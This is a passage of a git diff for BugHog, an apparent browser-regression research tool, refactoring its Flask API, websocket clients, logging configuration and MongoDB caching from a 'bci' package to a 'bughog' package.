'https://www.googleapis.com/download/storage/v1/b/chromium-browser-snapshots/o/%s%%2F%s%%2Fchrome-%s.zip?alt=media' - % ('Linux_x64', self._revision_nb, 'linux') - )] - - def convert_to_revision(self) -> ChromiumRevision: - return ChromiumRevision(revision_nb=self._revision_nb) diff --git a/bci/version_control/states/versions/firefox.py b/bci/version_control/states/versions/firefox.py deleted file mode 100644 index c48bba39..00000000 --- a/bci/version_control/states/versions/firefox.py +++ /dev/null @@ -1,30 +0,0 @@ -from bci.version_control.repository.online.firefox import get_release_revision_id, get_release_revision_number -from bci.version_control.states.revisions.firefox import FirefoxRevision -from bci.version_control.states.versions.base import BaseVersion - - -class FirefoxVersion(BaseVersion): - def __init__(self, major_version: int): - super().__init__(major_version) - - def _get_rev_nb(self) -> int: - return get_release_revision_number(self.major_version) - - def _get_rev_id(self) -> str: - return get_release_revision_id(self.major_version) - - @property - def browser_name(self) -> str: - return 'firefox' - - def has_online_binary(self) -> bool: - return True - - def get_online_binary_urls(self) -> list[str]: - return [ - f'https://ftp.mozilla.org/pub/firefox/releases/{self.major_version}.0/linux-x86_64/en-US/firefox-{self.major_version}.0.tar.bz2', - f'https://ftp.mozilla.org/pub/firefox/releases/{self.major_version}.0/linux-x86_64/en-US/firefox-{self.major_version}.0.tar.xz' - ] - - def convert_to_revision(self) -> FirefoxRevision: - return FirefoxRevision(revision_nb=self._revision_nb) diff --git a/bci/web/__init__.py b/bci/web/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/bci/web/blueprints/api.py b/bci/web/blueprints/api.py deleted file mode 100644 index f187cbef..00000000 --- a/bci/web/blueprints/api.py +++ /dev/null @@ -1,375 +0,0 @@ -import json -import logging -import os -import threading - -from flask import Blueprint, current_app, redirect, request - -import bci.browser.support as browser_support -from bci.database.mongo.mongodb import MongoDB -import bci.evaluations.logic as application_logic -from bci.analysis.plot_factory import PlotFactory -from bci.app import sock -from bci.configuration import Global, Loggers -from bci.evaluations.logic import MissingParametersException, PlotParameters -from bci.integration_tests.evaluation_configurations import get_eval_parameters_list -from bci.main import Main -from bci.web.clients import Clients - -logger = logging.getLogger(__name__) -api = Blueprint('api', __name__, url_prefix='/api') - -THREAD = None - - -def __start_thread(func, args=None): - global THREAD - if args is None: - args = [] - if THREAD and THREAD.is_alive(): - raise AttributeError() - else: - THREAD = threading.Thread(target=func, args=args) - THREAD.start() - - -def __get_main() -> Main: - if main := current_app.config['main']: - return main - raise Exception('Main object is not instantiated') - - -@api.before_request -def check_readiness(): - try: - pass - # _ = ____get_main() - except Exception as e: - logger.critical(e) - return { - 'status': 'NOK', - 'msg': 'BugHog is not ready', - 'info': { - 'log': Loggers.get_logs() - } - } - - -@api.after_request -def add_headers(response): - if 'DEVELOPMENT' in os.environ and os.environ['DEVELOPMENT'] == '1': - response.headers['Access-Control-Allow-Origin'] = '*' - response.headers['Access-Control-Allow-Headers'] = 'Content-Type' - response.headers['Access-Control-Allow-Methods'] = '*' - return response - - -''' -Starting and stopping processses -''' - - -@api.route('/evaluation/start/', methods=['POST']) -def start_evaluation(): - if request.json is None: - return { - 'status': 'NOK', - 'msg': "No evaluation parameters found" - } - - data = request.json.copy() - try: - params = application_logic.evaluation_factory(data) - __start_thread(__get_main().run, args=[params]) - return { - 'status': 'OK' - } - except MissingParametersException: - return { - 'status': 'NOK', - 'msg': 'Could not start evaluation due to missing parameters' - } - except AttributeError: - return { - 'status': 'NOK', - 'msg': 'Evaluation thread is already running' - } - - -@api.route('/evaluation/stop/', methods=['POST']) -def stop_evaluation(): - if request.json is None: - return { - 'status': 'NOK', - 'msg': "No stop parameters found" - } - - data = request.json.copy() - forcefully = data.get('forcefully', False) - if forcefully: - __get_main().activate_stop_forcefully() - else: - __get_main().activate_stop_gracefully() - return { - 'status': 'OK' - } - - -''' -Requesting information -''' - - -@sock.route('/socket/', bp=api) -def init_websocket(ws): - logger.info('Client connected') - Clients.add_client(ws) - while True: - message = ws.receive() - if message is None: - break - try: - message = json.loads(message) - if params := message.get('new_browser', None): - Clients.associate_browser(ws, params) - if params := message.get('new_params', None): - Clients.associate_params(ws, params) - if params := message.get('select_project', None): - Clients.associate_project(ws, params) - if requested_variables := message.get('get', []): - __get_main().push_info(ws, *requested_variables) - except ValueError: - logger.warning('Ignoring invalid message from client.') - ws.send('Connected to BugHog') - - -@api.route('/browsers/', methods=['GET']) -def get_browsers(): - return { - 'status': 'OK', - 'browsers': [browser_support.get_chromium_support(), browser_support.get_firefox_support()] - } - - -@api.route('/projects/', methods=['GET']) -def get_projects(): - return { - 'status': 'OK', - 'projects': __get_main().evaluation_framework.get_projects() - } - - -@api.route('/projects/', methods=['POST']) -def create_project(): - if request.json is None: - return { - 'status': 'NOK', - 'msg': "No parameters found" - } - project_name = request.json.get('project_name') - try: - __get_main().evaluation_framework.create_empty_project(project_name) - return { - 'status': 'OK' - } - except AttributeError as e: - return { - 'status': 'NOK', - 'msg': str(e) - } - - -@api.route('/system/', methods=['GET']) -def get_system_info(): - return { - 'status': 'OK', - 'cpu_count': os.cpu_count() if os.cpu_count() else 2 - } - - -@api.route('/log/', methods=['POST']) -def log(): - # TODO: emit logs of workers in central log - return { - 'status': 'OK' - } - - -@api.route('/data/', methods=['PUT']) -def data_source(): - if request.json is None: - return { - 'status': 'NOK', - 'msg': "No data parameters found" - } - - params = request.json.copy() - plot_params = PlotParameters.from_dict(params) - if missing_params := PlotFactory.validate_params(plot_params): - return { - 'status': 'NOK', - 'msg': f'Missing plot parameters: {missing_params}' - } - return { - 'status': 'OK', - 'revision': PlotFactory.get_plot_revision_data(params), - 'version': PlotFactory.get_plot_version_data(params) - } - -@api.route('/poc//', methods=['GET']) -def get_experiments(project: str): - experiments = __get_main().evaluation_framework.get_mech_groups(project) - return { - 'status': 'OK', - 'experiments': experiments - } - - -@api.route('/poc///', methods=['GET']) -def poc(project: str, poc: str): - return { - 'status': 'OK', - 'tree': __get_main().evaluation_framework.get_poc_structure(project, poc) - } - - -@api.route('/poc////', methods=['GET', 'POST']) -def poc_file_content(project: str, poc: str, file: str): - domain = request.args.get('domain', '') - path = request.args.get('path', '') - if request.method == 'GET': - return { - 'status': 'OK', - 'content': __get_main().evaluation_framework.get_poc_file(project, poc, domain, path, file) - } - else: - if not request.json: - return { - 'status': 'NOK', - 'msg': 'No content to update file with' - } - data = request.json.copy() - content = data['content'] - success = __get_main().evaluation_framework.update_poc_file(project, poc, domain, path, file, content) - if success: - return { - 'status': 'OK' - } - else : - return { - 'status': 'NOK' - } - - -@api.route('/poc///', methods=['POST']) -def add_page(project: str, poc: str): - if request.json is None: - return { - 'status': 'NOK', - 'msg': "No page parameters found" - } - - data = request.json.copy() - domain = data['domain'] - path = data['page'] - file_type = data['file_type'] - try: - __get_main().evaluation_framework.add_page(project, poc, domain, path, file_type) - return { - 'status': 'OK' - } - except AttributeError as e: - return { - 'status': 'NOK', - 'msg': str(e) - } - - -@api.route('/poc///config', methods=['POST']) -def add_config(project: str, poc: str): - if request.json is None: - return { - 'status': 'NOK', - 'msg': "No parameters found" - } - data = request.json.copy() - type = data['type'] - success = __get_main().evaluation_framework.add_config(project, poc, type) - if success: - return { - 'status': 'OK' - } - else: - return { - 'status': 'NOK' - } - - -@api.route('/poc/domain/', methods=['GET']) -def get_available_domains(): - return { - 'status': 'OK', - 'domains': Global.get_available_domains() - } - - -@api.route('/poc//', methods=['POST']) -def create_experiment(project: str): - if request.json is None: - return { - 'status': 'NOK', - 'msg': "No experiment parameters found" - } - - data = request.json.copy() - if 'poc_name' not in data.keys(): - return { - 'status': 'NOK', - 'msg': 'Missing experiment name' - } - poc_name = data['poc_name'] - try: - __get_main().evaluation_framework.create_empty_poc(project, poc_name) - return { - 'status': 'OK' - } - except AttributeError as e: - return { - 'status': 'NOK', - 'msg': str(e) - } - - -@api.route('/data/remove/', methods=['POST']) -def remove_datapoint(): - if (params := application_logic.TestParameters.from_dict(request.json)) is None: - return { - 'status': 'NOK', - 'msg': "No parameters found" - } - __get_main().remove_datapoint(params) - return { - 'status': 'OK' - } - - -@api.route('/test/start/', methods=['POST']) -def integration_tests_start(): - # Remove all previous data - MongoDB().remove_all_data_from_collection('integrationtests_chromium') - MongoDB().remove_all_data_from_collection('integrationtests_firefox') - # Start integration tests - all_experiments = __get_main().evaluation_framework.get_mech_groups('IntegrationTests') - elegible_experiments = [experiment[0] for experiment in all_experiments if experiment[1]] - eval_parameters_list = get_eval_parameters_list(elegible_experiments) - __start_thread(__get_main().run, args=[eval_parameters_list]) - return redirect('/test/') - - -@api.route('/test/continue/', methods=['POST']) -def integration_tests_continue(): - all_experiments = __get_main().evaluation_framework.get_mech_groups('IntegrationTests') - elegible_experiments = [experiment[0] for experiment in all_experiments if experiment[1]] - eval_parameters_list = get_eval_parameters_list(elegible_experiments) - __start_thread(__get_main().run, args=[eval_parameters_list]) - return redirect('/test/') diff --git a/bci/web/blueprints/test.py b/bci/web/blueprints/test.py deleted file mode 100644 index 0b2dc3e7..00000000 --- a/bci/web/blueprints/test.py +++ /dev/null @@ -1,25 +0,0 @@ -import logging - -from flask import Blueprint, current_app, render_template - -from bci.integration_tests.evaluation_configurations import get_eval_parameters_list -from bci.integration_tests.verify_results import verify -from bci.main import Main - -logger = logging.getLogger(__name__) -test = Blueprint('test', __name__, url_prefix='/test') - - -def __get_main() -> Main: - if main := current_app.config['main']: - return main - raise Exception('Main object is not instantiated') - - -@test.route('/') -def index(): - all_experiments = __get_main().evaluation_framework.get_mech_groups('IntegrationTests') - elegible_experiments = [experiment[0] for experiment in all_experiments if experiment[1]] - eval_parameters_list = get_eval_parameters_list(elegible_experiments) - verification_results = verify(eval_parameters_list) - return render_template('integration_tests.html', verification_results=verification_results) diff --git a/bci/web/clients.py b/bci/web/clients.py deleted file mode 100644 index 5aa56da9..00000000 --- a/bci/web/clients.py +++ /dev/null @@ -1,126 +0,0 @@ -import json -import threading -from venv import logger - -from flask import current_app -from simple_websocket import Server - -from bci.analysis.plot_factory import PlotFactory -from bci.database.mongo.mongodb import MongoDB -from bci.evaluations.logic import PlotParameters - - -class Clients: - __semaphore = threading.Semaphore() - __clients: dict[Server, dict | None] = {} - - @staticmethod - def add_client(ws_client: Server): - with Clients.__semaphore: - Clients.__clients[ws_client] = None - - @staticmethod - def __remove_disconnected_clients(): - with Clients.__semaphore: - Clients.__clients = {k: v for k, v in Clients.__clients.items() if k.connected} - - @staticmethod - def associate_browser(ws_client: Server, params: dict): - with Clients.__semaphore: - Clients.__clients[ws_client] = params - Clients.push_previous_cli_options(ws_client) - - @staticmethod - def associate_params(ws_client: Server, params: dict): - with Clients.__semaphore: - Clients.__clients[ws_client] = params - Clients.push_results(ws_client) - - @staticmethod - def associate_project(ws_client: Server, project: str): - # Technical debt: this method is to quickly associate a project with a client. - # This is necessary to update the `runnable` exclamation mark in the UI when a main page is added to an experiment. - # This functionality should be included in the `associate_params`. - # Then, missing params should be checked server-side instead of client-side, as is the case now. - with Clients.__semaphore: - if not (params := Clients.__clients.get(ws_client, None)): - params = {} - params['project'] = project - Clients.__clients[ws_client] = params - Clients.push_experiments(ws_client) - Clients.push_previous_cli_options(ws_client) - - @staticmethod - def push_results(ws_client: Server): - if params := Clients.__clients.get(ws_client, None): - plot_params = PlotParameters.from_dict(params) - - if PlotFactory.validate_params(plot_params): - revision_data = None - version_data = None - else: - revision_data = PlotFactory.get_plot_revision_data(plot_params) - version_data = PlotFactory.get_plot_version_data(plot_params) - - ws_client.send( - json.dumps( - { - 'update': { - 'plot_data': { - 'revision_data': revision_data, - 'version_data': version_data, - } - } - } - ) - ) - - @staticmethod - def push_results_to_all(): - Clients.__remove_disconnected_clients() - for ws_client in Clients.__clients.keys(): - Clients.push_results(ws_client) - - @staticmethod - def push_info(ws_client: Server, update: dict): - ws_client.send(json.dumps({'update': update})) - - @staticmethod - def push_info_to_all(update: dict): - Clients.__remove_disconnected_clients() - for ws_client in Clients.__clients.keys(): - Clients.push_info(ws_client, update) - - @staticmethod - def push_experiments(ws_client: Server): - client_info = Clients.__clients[ws_client] - if client_info is None: - logger.error('Could not find any associated info for this client') - return - - project = client_info.get('project', None) - if project: - from bci.main import Main - main: Main = current_app.config['main'] - experiments = main.evaluation_framework.get_mech_groups(project) - ws_client.send(json.dumps({'update': {'experiments': experiments}})) - - @staticmethod - def push_experiments_to_all(): - Clients.__remove_disconnected_clients() - for ws_client in Clients.__clients.keys(): - Clients.push_experiments(ws_client) - - @staticmethod - def push_previous_cli_options(ws_client: Server): - if params := Clients.__clients.get(ws_client, None): - previous_cli_options = MongoDB().get_previous_cli_options(params) - ws_client.send( - json.dumps( - { - 'update': { - 'previous_cli_options': previous_cli_options - } - } - ) - ) diff --git a/bci/web/templates/integration_tests.html b/bci/web/templates/integration_tests.html deleted file mode 100644 index 2950f030..00000000 --- a/bci/web/templates/integration_tests.html +++ /dev/null @@ -1,60 +0,0 @@ -{% extends 'base.html' %} - -{% block title %} -Integration tests -{% endblock %} - -{% block head %} - -{% endblock %} - -{% block content %} -

Integration tests

- -
- -
-
- -
- - - - - - - - - - -{% for result in verification_results %} - - - - - - - - -{% endfor %} -
ExperimentBrowserSuccessFailErrorsRatio
{{ result['experiment_name'] }}{{ result['browser_name'] }}{{ result['nb_of_success_results'] }}{{ result['nb_of_fail_results'] }}{{ result['nb_of_error_results'] }}{{ result['success_ratio'] }} %
- -{% endblock %} diff --git a/bci/web/vue/src/components/poc-editor.vue b/bci/web/vue/src/components/poc-editor.vue deleted file mode 100644 index f807ea30..00000000 --- a/bci/web/vue/src/components/poc-editor.vue +++ /dev/null @@ -1,426 +0,0 @@ - - - diff --git a/bci/worker.py b/bci/worker.py deleted file mode 100644 index 97276d36..00000000 --- a/bci/worker.py +++ /dev/null @@ -1,51 +0,0 @@ -import logging -import os -import sys - -from bci.configuration import Loggers -from bci.database.mongo.mongodb import MongoDB -from bci.evaluations.custom.custom_evaluation import CustomEvaluationFramework -from bci.evaluations.logic import WorkerParameters - -# This logger argument is set explicitly so when this file is ran as a script, it will still use the logger configuration -logger = logging.getLogger('bci.worker') - - -def __run_by_worker() -> None: - """ - Executes evaluation based on given parameters. - Should only be called by worker. - """ - Loggers.configure_loggers() - if len(sys.argv) < 2: - logger.info('Worker did not receive any arguments.') - os._exit(0) - args = sys.argv[1] - - logger.info('Worker started') - database_connection_params = WorkerParameters.get_database_params(args) - MongoDB().connect(database_connection_params) - - params = WorkerParameters.deserialize(args) - run(params) - logger.info('Worker finished, exiting...') - - logging.shutdown() - os._exit(0) - - -def run(params: WorkerParameters): - """ - Executes evaluation based on given parameters. - """ - evaluation_framework = CustomEvaluationFramework() - try: - evaluation_framework.evaluate(params, is_worker=True) - except Exception: - logger.fatal("An exception occurred during evaluation", exc_info=True) - logging.shutdown() - os._exit(1) - - -if __name__ == '__main__': - __run_by_worker() diff --git a/bci/__init__.py b/bughog/__init__.py similarity index 100% rename from bci/__init__.py rename to bughog/__init__.py diff --git a/bci/analysis/__init__.py b/bughog/analysis/__init__.py similarity index 100% rename from bci/analysis/__init__.py rename to bughog/analysis/__init__.py diff --git a/bughog/analysis/plot_factory.py b/bughog/analysis/plot_factory.py new file mode 100644 index 00000000..cb23a87a --- /dev/null +++ b/bughog/analysis/plot_factory.py @@ -0,0 +1,90 @@ +import logging + +from bughog.database.mongo.mongodb import MongoDB +from bughog.evaluation.experiment_result import ExperimentResult +from bughog.parameters import EvaluationParameters +from bughog.subject import factory +from bughog.subject.state_oracle import StateOracle + +logger = logging.getLogger(__name__) + + +class PlotFactory: + @staticmethod + def get_plot_commit_data(params: EvaluationParameters) -> dict: + commit_docs = MongoDB().get_documents_for_plotting(params) + state_oracle = factory.get_subject_from_params(params).state_oracle + return PlotFactory.__add_outcome_info(commit_docs, state_oracle) + + @staticmethod + def get_plot_release_data(params: EvaluationParameters) -> dict: + release_docs = MongoDB().get_documents_for_plotting(params, releases=True) + return PlotFactory.__add_outcome_info(release_docs, None) + + @staticmethod + def validate_params(params: EvaluationParameters) -> list[str]: + missing_parameters = [] + if not params.evaluation_range.experiment_name: + missing_parameters.append('selected experiment') + if not params.subject_configuration.subject_type: + missing_parameters.append('subject_type') + if not params.subject_configuration.subject_name: + missing_parameters.append('subject_name') + return missing_parameters + + @staticmethod + def __transform_to_bokeh_compatible(docs: list) -> dict: + new_docs = {} + for d in docs: + for key, value in d.items(): + if key not in new_docs: + new_docs[key] = [] + new_docs[key].append(value) + return new_docs + + @staticmethod + def __add_outcome_info(docs: list, state_oracle: StateOracle|None): + if not docs: + return {'commit_nb': [], 'major_version': [], 'version_printed_by_executable': [], 'outcome': []} + + docs_with_outcome = [] + for doc in docs: + result_variables = set((variables[0], variables[1]) for variables in doc['result']['variables']) + + commit_nb = doc['state'].get('commit_nb') + commit_id = doc['state'].get('commit_id') + + # TODO: for some reason commit ids sometimes seem to be absent from state docs. + if commit_nb is None and commit_id is None: + logger.error('Skipping state doc with unknown commit number and commit id.') + continue + elif commit_nb is None: + # Commit number is essential for placing the datapoint on the Gantt chart. + logger.error(f'Skipping state doc with unknown commit number (commit id: {commit_id}).') + continue + elif commit_id is None: + logger.error(f'Including state doc with unknown commit id (commit number: {commit_nb}), without supplying commit url.') + commit_url = None + else: + if state_oracle: + commit_url = state_oracle.get_commit_url(commit_nb, commit_id) + else: + commit_url = None + + new_doc = { + 'commit_nb': commit_nb, + 'commit_url': commit_url, + 'major_version': doc['state'].get('major_version', None), # commit states don't have this field + 'version_printed_by_executable': doc['subject_version'], + } + if doc['dirty']: + new_doc['outcome'] = 'Error' + docs_with_outcome.append(new_doc) + elif ExperimentResult.poc_is_reproduced(result_variables): + new_doc['outcome'] = 'Reproduced' + docs_with_outcome.append(new_doc) + else: + new_doc['outcome'] = 'Not reproduced' + docs_with_outcome.append(new_doc) + docs_with_outcome = PlotFactory.__transform_to_bokeh_compatible(docs_with_outcome) + return docs_with_outcome diff --git a/bci/app.py b/bughog/app.py similarity index 70% rename from bci/app.py rename to bughog/app.py index 8bf06ccc..4cc5c9b6 100644 --- a/bci/app.py +++ b/bughog/app.py @@ -1,11 +1,12 @@ import logging +import secrets import signal from flask import Flask from flask_sock import Sock -from bci.configuration import Global, Loggers -from bci.main import Main +from bughog import configuration +from bughog.main import Main sock = Sock() @@ -14,23 +15,22 @@ def create_app(): try: - Loggers.configure_loggers() + configuration.Loggers.configure_loggers() - if not Global.check_required_env_parameters(): + if not configuration.check_required_env_parameters(): raise Exception('Not all required environment variables are available') # Instantiate main object and add to global flask context main = Main() # Blueprint modules are only imported after loggers are configured - from bci.web.blueprints.api import api - from bci.web.blueprints.experiments import exp - from bci.web.blueprints.test import test + from bughog.web.blueprints.api import api + from bughog.web.blueprints.experiments import exp + from bughog.web.blueprints.test import test app = Flask(__name__) - # We don't store anything sensitive in the session, so we can use a simple secret key app.config['main'] = main - app.secret_key = 'secret_key' + app.secret_key = secrets.token_hex(32) app.register_blueprint(api) app.register_blueprint(exp) @@ -46,7 +46,6 @@ def create_app(): raise e - if __name__ == '__main__': # Used when running in devcontainer app = create_app() diff --git a/bci/cli.py b/bughog/cli.py similarity index 66% rename from bci/cli.py rename to bughog/cli.py index 41c24c5e..e255eff0 100644 --- a/bci/cli.py +++ b/bughog/cli.py @@ -5,25 +5,23 @@ logger = logging.getLogger("cli") -def execute(command, cwd=None, timeout=None, max_tries=None): - if timeout is None and max_tries is None: - subprocess.check_output(command.split(" "), cwd=cwd) - return True - - if timeout is None: - timeout = 60 - if max_tries is None: - max_tries = 1 - tries = 0 - while tries < max_tries: - tries += 1 +def execute(command, cwd=None, timeout=60, max_tries=1, ignore_error=False): + cmd_list = command.split() + + for attempt in range(1, max_tries + 1): try: - subprocess.check_output(command.split(" "), cwd=cwd, timeout=timeout * 60) + subprocess.check_output(cmd_list, cwd=cwd, timeout=timeout) return True except subprocess.TimeoutExpired: - if logger: - logger.error("Timeout of %i minutes expired: starting try %i" % (timeout, tries + 1)) - continue + logger.error(f"Timeout of {timeout} minutes expired: starting try {attempt + 1}") + if attempt == max_tries: + return False + except subprocess.CalledProcessError as e: + logger.error(f"Command failed with error: {e}") + return ignore_error + except Exception as e: + logger.error(f"Unexpected error: {e}") + return False return False diff --git a/bughog/configuration.py b/bughog/configuration.py new file mode 100644 index 00000000..723956ec --- /dev/null +++ b/bughog/configuration.py @@ -0,0 +1,184 @@ +import logging +import logging.handlers +import os +import sys +from functools import lru_cache + +from rich.logging import RichHandler + +from bughog.database.mongo import container +from bughog.parameters import DatabaseParameters + +logger = logging.getLogger(__name__) +custom_page_folder = '/app/experiments/pages' + + +def get_available_domains() -> list[str]: + return [ + 'a.test', + 'sub.a.test', + 'sub.sub.a.test', + 'b.test', + 'sub.b.test', + 'leak.test', + 'adition.com', + ] + + +def check_required_env_parameters() -> bool: + fatal = False + # HOST_PWD + if (host_pwd := os.getenv('HOST_PWD')) in ['', None]: + logger.fatal( + 'The "HOST_PWD" variable is not set. If you\'re using sudo, you might have to pass it explicitly, for example "sudo HOST_PWD=$PWD docker compose up".' + ) + fatal = True + else: + logger.debug(f'HOST_PWD={host_pwd}') + + # BUGHOG_VERSION + if (bughog_version := os.getenv('BUGHOG_VERSION')) in ['', None]: + logger.fatal('"BUGHOG_VERSION" variable is not set.') + fatal = True + else: + logger.info(f'Starting BugHog with tag "{bughog_version}"') + + return not fatal + + +# Singleton pattern with caching +@lru_cache(maxsize=1) +def get_database_params() -> DatabaseParameters: + try: + executable_cache_limit = int(os.getenv('BUGHOG_EXECUTABLE_CACHE_LIMIT', '0')) + except ValueError: + logger.warning("Invalid 'BUGHOG_EXECUTABLE_CACHE_LIMIT' provided; defaulting to 0.") + executable_cache_limit = 0 + + required_database_params = [ + 'BUGHOG_MONGO_HOST', + 'BUGHOG_MONGO_USERNAME', + 'BUGHOG_MONGO_DATABASE', + 'BUGHOG_MONGO_PASSWORD', + ] + env_vars = {key: os.getenv(key) for key in required_database_params} + missing_database_params = [key for key, val in env_vars.items() if not val] + if missing_database_params: + logger.info(f'Could not find database parameters {missing_database_params}. Using database container...') + return container.run(executable_cache_limit) + + safe_env_vars = env_vars.copy() + safe_env_vars['BUGHOG_MONGO_PASSWORD'] = '*' + logger.info(f"Found database environment variables '{safe_env_vars}'.") + + return DatabaseParameters( + env_vars['BUGHOG_MONGO_HOST'] or '', + env_vars['BUGHOG_MONGO_USERNAME'] or '', + env_vars['BUGHOG_MONGO_PASSWORD'] or '', + env_vars['BUGHOG_MONGO_DATABASE'] or '', + executable_cache_limit, + ) + + +@staticmethod +def get_tag() -> str: + """ + Returns the Docker image tag of BugHog. + This should never be empty. + """ + bughog_version = os.getenv('BUGHOG_VERSION', None) + if bughog_version is None or bughog_version == '': + raise ValueError('BUGHOG_VERSION is not set') + return bughog_version + + +class CustomHTTPHandler(logging.handlers.HTTPHandler): + def __init__( + self, host: str, url: str, method: str = 'GET', secure: bool = False, credentials=None, context=None + ) -> None: + super().__init__(host, url, method=method, secure=secure, credentials=credentials, context=context) + self.hostname = os.getenv('HOSTNAME') + + def mapLogRecord(self, record): + record_dict = super().mapLogRecord(record) + record_dict['hostname'] = self.hostname + return record_dict + + +class Loggers: + file_formatter = logging.Formatter( + fmt='[%(asctime)s] [%(levelname)s] %(name)s: %(message)s', datefmt='%d-%m-%Y %H:%M:%S' + ) + console_fmt = '%(message)s' + memory_handler = logging.handlers.MemoryHandler(capacity=100, flushLevel=logging.ERROR) + + @staticmethod + def configure_loggers(): + hostname = os.getenv('HOSTNAME') + + root_logger = logging.getLogger() + root_logger.setLevel(logging.DEBUG) + if root_logger.handlers: + root_logger.handlers.clear() + + rich_handler = RichHandler( + rich_tracebacks=True, markup=True, show_path=False, show_time=True, show_level=True, enable_link_path=False + ) + + rich_handler.setLevel(logging.DEBUG) + rich_handler.setFormatter(logging.Formatter(Loggers.console_fmt)) + root_logger.addHandler(rich_handler) + + # Configure stream handler + # stream_handler = logging.StreamHandler() + # stream_handler.setLevel(logging.DEBUG) + # stream_handler.setFormatter(Loggers.file_formatter) + # root_logger.addHandler(stream_handler) + + # Configure file handler + os.makedirs('/app/logs', exist_ok=True) + file_handler = logging.handlers.RotatingFileHandler( + f'/app/logs/{hostname}.log', mode='a', backupCount=3, maxBytes=8 * 1024 * 1024 + ) + file_handler.setLevel(logging.DEBUG) + file_handler.setFormatter(Loggers.file_formatter) + root_logger.addHandler(file_handler) + + # Configure http handler for workers + if hostname != 'bh_core': + try: + # Ensure CustomHTTPHandler is defined + http_handler = CustomHTTPHandler('core:5000', '/api/log/', method='POST', secure=False) + http_handler.setLevel(logging.INFO) + http_handler.setFormatter(Loggers.file_formatter) + root_logger.addHandler(http_handler) + except NameError: + pass + + # Configure memory handler + Loggers.memory_handler.setLevel(logging.INFO) + Loggers.memory_handler.setFormatter(Loggers.file_formatter) + root_logger.addHandler(Loggers.memory_handler) + + # Silence noisy libraries + logging.getLogger('docker').setLevel(logging.WARNING) + logging.getLogger('pymongo').setLevel(logging.WARNING) + logging.getLogger('urllib3').setLevel(logging.WARNING) + logging.getLogger('werkzeug').disabled = True + + # Log uncaught exceptions + sys.excepthook = lambda t, v, tb: root_logger.critical('Uncaught', exc_info=(t, v, tb)) + + root_logger.info('Loggers initialized') + + @staticmethod + def get_logs() -> list[str]: + logs = [] + for record in Loggers.memory_handler.buffer: + formatted_msg = Loggers.file_formatter.format(record) + logs.append(formatted_msg) + return logs + + @staticmethod + def format_to_user_log(log: dict) -> str: + return f'[{log.get("asctime", "?")}] [{log.get("levelname", "?")}] {log.get("name", "?")}: {log.get("msg", "")}' diff --git a/bci/browser/__init__.py b/bughog/database/__init__.py similarity index 100% rename from bci/browser/__init__.py rename to bughog/database/__init__.py diff --git a/bci/browser/automation/__init__.py b/bughog/database/mongo/__init__.py similarity index 100% rename from bci/browser/automation/__init__.py rename to bughog/database/mongo/__init__.py diff --git a/bughog/database/mongo/cache.py b/bughog/database/mongo/cache.py new file mode 100644 index 00000000..d5854361 --- /dev/null +++ b/bughog/database/mongo/cache.py @@ -0,0 +1,63 @@ +import functools +from datetime import datetime, timedelta, timezone + +from bughog.database.mongo.mongodb import MongoDB + + +class Cache: + + @staticmethod + def cache_in_db(subject_type: str, subject_name: str, ttl: int = 0): + """ + Caches the result of the function in MongoDB, with respect to TTL (in hours). + """ + def decorator(func): + @functools.wraps(func) + def wrapper(*args, **kwargs): + if hasattr(func, '__self__') or (args and hasattr(args[0], func.__name__)): + key = args[1] if len(args) > 1 else kwargs.get('key') + else: + key = args[0] if args else kwargs.get('key') + + collection = MongoDB().get_cache_collection(subject_type) + doc = collection.find_one({ + 'subject_name': subject_name, + 'function_name': func.__name__, + 'key': key + }) + + now = datetime.now(timezone.utc) + # Check for cache existence and TTL + if doc and 'value' in doc and 'ts' in doc: + # If TTL is 0, cache is kept indefinitely + if ttl == 0: + return doc['value'] + # Else, check whether cache has expired + try: + cached_time = datetime.fromisoformat(doc['ts']) + except Exception: + # Fallback in case of serialization issues + cached_time = datetime.strptime(doc['ts'], "%Y-%m-%d %H:%M:%S%z") + age = now - cached_time + if age < timedelta(hours=ttl): + return doc['value'] + + new_value = func(*args, **kwargs) + if new_value is not None: + collection.update_one( + { + 'subject_name': subject_name, + 'function_name': func.__name__, + 'key': key, + }, + { + '$set': { + 'value': new_value, + 'ts': now.replace(microsecond=0).isoformat(), + } + }, + upsert=True + ) + return new_value + return wrapper + return decorator diff --git a/bci/database/mongo/container.py b/bughog/database/mongo/container.py similarity index 94% rename from bci/database/mongo/container.py rename to bughog/database/mongo/container.py index dbe49dcb..9d4bf910 100644 --- a/bci/database/mongo/container.py +++ b/bughog/database/mongo/container.py @@ -5,7 +5,7 @@ import docker.errors from pymongo import MongoClient -from bci.evaluations.logic import DatabaseParameters +from bughog.parameters import DatabaseParameters LOGGER = logging.getLogger(__name__) @@ -20,7 +20,7 @@ DEFAULT_HOST = 'bh_db' -def run(binary_cache_limit: int) -> DatabaseParameters: +def run(executable_cache_limit: int) -> DatabaseParameters: docker_client = docker.from_env() try: mongo_container = docker_client.containers.get(DEFAULT_HOST) @@ -33,7 +33,7 @@ def run(binary_cache_limit: int) -> DatabaseParameters: LOGGER.debug('MongoDB container not found, creating a new one...') __create_new_container(DEFAULT_USER, DEFAULT_PW, DEFAULT_DB_NAME, DEFAULT_HOST) LOGGER.debug('MongoDB container has started!') - return DatabaseParameters(DEFAULT_HOST, DEFAULT_USER, DEFAULT_PW, DEFAULT_DB_NAME, binary_cache_limit) + return DatabaseParameters(DEFAULT_HOST, DEFAULT_USER, DEFAULT_PW, DEFAULT_DB_NAME, executable_cache_limit) def stop(): diff --git a/bughog/database/mongo/executable_cache.py b/bughog/database/mongo/executable_cache.py new file mode 100644 index 00000000..7e7c7b51 --- /dev/null +++ b/bughog/database/mongo/executable_cache.py @@ -0,0 +1,189 @@ +import concurrent.futures +import datetime +import logging +import os +import time +from typing import Optional + +from bughog.database.mongo.mongodb import MongoDB +from bughog.parameters import SubjectConfiguration + +logger = logging.getLogger(__name__) + + +class ExecutableCache: + """ + The executable cache is used to store and fetch executable files from the database. + """ + + @staticmethod + def fetch_executable_files(subject_config: SubjectConfiguration, state_name: str, executable_folder_path: str) -> bool: + """ + Fetches the executable files from the database and stores them in the directory of the given path. + + :param executable_path: The path to store the executable files. + :param state: The state of the executable. + :return: True if the executable was fetched, False otherwise. + """ + if MongoDB().executable_cache_limit <= 0: + return False + + files_collection = MongoDB().get_collection('fs.files') + + query = { + 'file_type': 'executable', + 'subject_type': subject_config.subject_type, + 'subject_name': subject_config.subject_name, + 'state_name': state_name, + } + if files_collection.count_documents(query) == 0: + return False + # Update access count and last access timestamp + files_collection.update_many( + query, + {'$inc': {'access_count': 1}, '$set': {'last_access_ts': 